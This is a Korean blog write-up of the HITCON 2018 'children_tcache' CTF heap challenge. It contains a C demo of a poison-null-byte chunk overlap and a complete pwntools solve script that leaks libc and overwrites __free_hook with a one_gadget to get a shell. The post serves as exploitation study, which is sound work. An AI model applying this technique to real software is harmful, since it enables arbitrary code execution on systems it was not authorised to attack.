0. 말말말
7월 28일 SecretHolder를 기준으로 한달이라는 시간동안 블로그 포스팅을 쉬게 되었다... ㅠ (자의는 아님... ㅠㅠ)
이번에 기회가 되서 사이버작전경연대회에 참여해서 yara-the-flag를 풀게 되었다. 결론은 못품
해당 문제의 분석해야되는 내용을 대회시간 9시간중 5시간이 지날 때 까지 찾질 못했다... 홀리 싯~~
아무튼 뭐 좋은 경험 한 것 같다. 패치내용을 분석해서 취약점을 찾는 것도 처음봐서 신기했다.
그리고 해당 대회를 준비하느라 children tcache랑 baby tcache를 잡게 되었는데
해당 바이너리에 libc를 맞춰주느라 삽질, 문제푸느라 삽질 해서 거의 보름이 지난 것 같다.
뭐 결국에는 children tcache도 write up을 보고 풀었으니... ㅠㅠ
더 열심히 해야겠다. 확실히 계속 문제 풀다가 의욕이 떨어졌는데 대회 참여하고 나니 다시 의욕이 생긴 것 같다.
껄껄쓰~
1. Reversing
리버싱 내용은 baby_tcache에서 분석한 내용과 별 다를 것이 없어서 추가적인 분석은 안했다.
(함수 offset정도만 확인했음.)
baby tcache를 먼저 잡고 children tcache를 풀으려고 했다.
(상식적으로 baby가 더 쉬울거라고 생각하니까...)
왠걸... 아니더라고... hitcon은 벤자민인가 보다... 아니면 코드 양에 따라서 baby, children을 나누는 건가...
문제 난이도는 children이 baby보다 쉬웠다... holy....
각설하고 문제 분석내용을 설명하도록 하겠다.
주어지는 메뉴는 총 3개
1. New heap
힙을 하나 새로 할당해준다. size를 입력받고 data를 입력받는다.
입력받은 size와 할당된 heap address는 배열로 관리를 하게 되고
max count는 10으로 10이상이 되면 할당하지 않고 max size는 0x2000이다.
index는 0~9 까지 있고 할당하는 방식은 index 0부터 시작해서 해당 공간이 NULL이면 그 index에 할당한다.
그리고 취약점인 할당받은 heap address에 data를 size만큼 쓰고 그 뒤 마지막 1byte에 null을 채운다.
(heap_address[size] = \x00)
2. Show heap
index를 입력받고 해당 index의 heap address를 인자로 printf 를 출력한다.
3. Delete heap
꽤나 빡세게 걸려있는데
index를 받고 index에 해당되는 배열에 heap address가 있으면 진행한다.
free를 하기 전에 입력받은 index에 해당되는 size를 읽어서 해당 heap address에 size만큼 0xda로 채워버린다.
(fake chunk고 뭐고 다 사라지는거임...)
그리고 입력받은 index에 해당되는 배열에 저장되어 있는 heap address와 size를 null로 바꾼다.
4. Exit
바이너리를 종료시킨다.
2. Exploit
위에서 말했다시피 posion null byte 느낌의 취약점에서 exploit이 가능하다.
next chunk의 size에 해당되는 공간의 1byte를 null로 채울 수 있게 된다.
이 취약점을 이용해서 next chunk의 prev_in_use flag를 unset으로 만든 후 current chunk가 free된 상태로 인식하게 끔
진행할 것 이다.
아래의 flow는 2.26이전, 즉 tcache가 없을 때이므로 혼동하지 않길 바란다.
먼저 아래의 코드를 보면 (Reference : http://eternal.red/2018/children_tcache-writeup-and-tcache-overview/)
code:
#include<stdlib.h>
#include<stdio.h>
int main()
{
// alocate 3 chunks
char *a = malloc(0x108);
char *b = malloc(0xf8);
char *c = malloc(0xf8);
printf("a: %p\n",a);
printf("b: %p\n",b);
free(a);
// buffer overflow b by 1 NULL byte
b[0xf8] = '\x00'; //clear prev in use of c
*(long*)(b+0xf0) = 0x210; //We can set prev_size of c to 0x210 bytes
// c have prev_in_use=0 and prev_size=0x210 so it will consolidate
// with a and b and it will be put in unsorted bin
free(c);
// now we can allocate chunks from the area of a|b|c
char *A = malloc(0x108);
printf("A: %p\n",A);
// leak libc
printf("B content: %p\n",((long*)b)[0]);
}
output:
a: 0x602010
b: 0x602120
A: 0x602010
B content: 0x7ffff7dd1b78
코드 진행사항에서 malloc chunk들의 상태를 그림으로 보면
1. malloc(0x108), malloc(0xf8), malloc(0xf8)
2. free(a)
free(a)를 해주면 a에 해당하는 chunk는 unsorted bin으로 들어가게 된다.
3. b[0xf8] = \x00
여기서 발생한 one byte null은 c의 prev_in_use를 0으로 세팅해버리면서
second chunk가 free된 상태라고 착각하게 만든다.
4. free(c)
'='는 flag가 어떻게 변하는 지는 확인을 하지 못해서 모르는 부분이기 때문에 저렇게 해놨다.
여기서 free(c)가 실행되면서 b가 c chunk와 merge되고 a가 그다음에 merge가 된다.
그렇게 되면 unsorted bin에는 0x310 size인 a chunk가 들어가게 된다.
이렇게 되면 나중에 malloc을 호출하면 이미 사용중에 있는 b chunk를 overlapping 할 수 있게 된다.
또한 b chunk는 아직 사용중에 있지만 b chunk의 fd와 bk에 해당하는 부분에 libc 주소가 적혀져 있으므로
leak이 가능해지게 된다.
이 공격 기법을 tcache에서 적용한 것이 아래의 slv.py이다.
tcache에서는 next만 malloc_hook, free_hook, got 등으로 돌려주면 2번째 malloc때
그 주소가 할당이 되는 점을 생각하면 기존의 chunk보다 더 취약하다고 볼 수 있다.
자세한건 밑의 파트에서 설명하도록 하겠다.
3. slv.py
from pwn import *
import sys
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
script = '''
#b* 0xcb7
b* 0xe4b
#b* 0xec9
'''
tcache = [-1 for i in range(10)]
heap_location = [False for i in range(10)]
p = process('./children_tcache')
e = ELF('./children_tcache')
#gdb.attach(p, script)
def create_heap(size, data):
p.recv()
p.sendline('1')
p.recv()
p.sendline(str(size))
p.recv()
p.sendline(data)
a = -1
for i in range(10):
if heap_location[i] == False:
heap_location[i] = True
a = i
break
return a
def show_heap(index):
p.recv()
p.sendline('2')
p.recv()
p.sendline(str(index))
def delete_heap(index):
p.recv()
p.sendline('3')
p.recv()
p.sendline(str(index))
heap_location[index] = False
return
def exploit():
a = create_heap(0xf8, 'a') # First chunk
b = create_heap(0x108, 'b') # Second chunk
c = create_heap(0xf8, 'c') # Third chunk
for i in range(3,10):
create_heap(0xf8, 'a')
for i in range(3,10):
delete_heap(i) # If I do free(a), a chunk will go unsorted bin
for i in range(3,10):
create_heap(0x108, 'b')
for i in range(3,9):
delete_heap(i) # If I do free(b) and malloc(0x108), I can get Second chunk's address
delete_heap(a)
delete_heap(b)
# unset third chunk's prev_inuse flag
payload = ''
payload += 'b'*0x108
b = create_heap(0x108, payload)
delete_heap(b)
# clean third chunks' prev_size
# detailed explanations later
for i in range(0x108, 0x100, -1):
b = create_heap(i-1, 'b'*(i-1))
delete_heap(b)
# set third chunk's prev_size
payload =''
payload += 'b'*0x100
payload += p64(0x210)
b = create_heap(0x108, payload)
# merge freed chunk with first, second chunk
delete_heap(c)
for i in range(7):
tcache[i] = create_heap(0xf8, 'a')
a = create_heap(0xf8, 'a')
# leak libc
show_heap(b)
leak = u64(p.recvuntil('$').split('\n')[0] + '\x00\x00')
libc_base = leak - 0x3ebca0
log.info('libc_base : ' + hex(libc_base))
freehook_Addr = libc_base + 0x3ed8e8
onegadget_Addr = libc_base + 0x4f322
for i in range(7):
delete_heap(tcache[i])
delete_heap(a)
delete_heap(b)
payload = ''
payload += 'a'*0x100
payload += p64(freehook_Addr)
a = create_heap(0x300, payload)
b = create_heap(0x200, 'a')
# onegadget exploit
payload = ''
payload = p64(onegadget_Addr)
c = create_heap(0x200, payload)
delete_heap(b) # execute onegadget
p.interactive()
return
def main():
exploit()
return
if __name__ == '__main__':
main()
여기서 제일 중요하다고 생각했던 트릭은 바로 clean prev size부분인데 (이걸 생각 못해서 write up을 보게 되었다.. ㅠ)
for i in range(0x108, 0x100, -1):
b = create_heap(i-1, 'b'*(i-1))
delete_heap(b)
new heap에서 data를 쓸때 strcpy()를 사용하기 때문에 null문자를 읽는 순간 더이상 문자열을 복사하지 않는다.
여기서 문제는 next chunk의 prev_in_use를 unset하기 위해서는
size의 마지막이 8로 끝나야 되고 size를 끝까지 채워야(null byte없이) 된다.
그런데 strcpy때문에 next chunk의 prev size를 알맞은 값 (0x210)으로 세팅을 못해주게 되는데
이를 위해서 free후 다시 malloc을 해봐도 0xda로 prev_size가 채워지게 되므로 진짜 답이 없는 상황에 이른다.
하지만 위의 코드를 실행을 하면 할당되는 heap address는 동일하지만 size가 1byte씩 줄어들기 때문에 prev_size를
1 byte씩 0x00으로 만들어 주게 된다. (clean next_chunk's prev size)
그렇게 prev_size를 0으로 초기화 시켜준 후에 다시 0xf8 size를 요청해서 0x210을 넣어주면
next chunk의 prev_in_use flag의 unset과
prev_size에 0x210을 넣어주는 것까지 할 수 있게 되어 chunk overlapping이 가능해진다.
(간단히 말해서 free(c)할때 오류 없이 진행되게끔 해줌)
진짜 처음 이 코드를 봤을 때는 뒤통수가 대략 얼얼했다... 진짜 미친거 아니냐...?!! 대단하다...
그 이후는 tcache의 next를 free_hook주소로 바꿔주고 2번째 malloc때 free_hook의 내용을
one_gadget 주소로 바꿔주고 free_hook을 할당받은 chunk외에 다른 chunk를 free시켜주면
GAME Set.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
tcache에서는 bin에 들어간 chunk를 꺼낼때는 chunk의 size의 검사가 없어서 chunk가 조작되어도 상관없당..
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL)
{
return tcache_get (tc_idx);
}
++tcache_unsorted_count;
if (return_cached
&& mp_.tcache_unsorted_limit > 0
&& tcache_unsorted_count > mp_.tcache_unsorted_limit)
{
return tcache_get (tc_idx);
}
if (return_cached)
{
return tcache_get (tc_idx);
}
tcache_get이 호출되는 모든 부분인데 chunk와 관련된 것은 검사하지 않는다.
검사내용이라곤 tc_idx가 7이하인지, tcache 구조체가 있는지,
할당을 해주려는 bin이 비어있는 지 정도만 검사한다.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[깨달은 점]
1. strcpy로 null byte가 막힐때 반복문으로 prev size를 null로 초기화 할 수 있는 방법이 있다는 것
2. one gadget은 짱짱이라는 것
3. tcache가 이미 bin에 들어있는 것을 꺼낼때는 chunk와 관련된 검사는 하지 않는다는 것
4. tcache가 생기면서 overlapping이 살짝 복잡해졌지만 오히려 exploit은 쉬워졌다는 것
Reference
http://eternal.red/2018/children_tcache-writeup-and-tcache-overview/
'System > Hitcon 2018' 카테고리의 다른 글
[Hitcon 2018] - baby_tcache - 190912 (1) | 2019.09.12 |
---|